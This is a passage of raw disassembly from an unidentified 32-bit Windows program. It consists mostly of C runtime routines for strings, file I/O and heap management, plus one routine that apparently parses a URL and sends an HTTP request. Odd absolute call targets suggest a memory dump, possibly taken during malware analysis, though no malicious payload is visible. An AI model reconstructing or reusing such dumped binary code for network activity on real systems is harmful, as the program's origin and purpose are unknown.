		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A060
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB08C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE68
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A1C4
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A1BC
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------

loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A1B8

loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------

loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A1B4
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A170
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A2A4
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAEA0
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF54
		call	dword_4CAF78
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF6C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAF18
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A288
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A24C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A230
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------

loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A204
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1D4

loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h

loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFD8
		push	[ebp+var_4]
		call	dword_4CAFD8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000

loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0

loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------

loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------

loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------

loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi

loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi

loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC944
		nop
		call	near ptr 27B0000h

loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------

loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]

loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax

loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]

loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------

loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	loc_41B342

loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC940
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi

loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h

loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5

loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi

loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC944
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi

loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h

loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A

loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi

loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2860000h
		mov	edi, eax

loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B

loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB32C, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------

loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi

loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C324
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------

loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi

loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h

loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B

loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC944
		call	near ptr 27C0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi

loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------

loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2860000h
		mov	edi, eax

loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B

loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB32C, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------

loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi

loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_41B49D

loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB32C, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D

loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax

loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------

loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB32C
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510

loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE

loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC948
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC940
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------

loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi

loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C324
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------

loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi

loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC944
		nop
		call	near ptr 27C0000h

loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
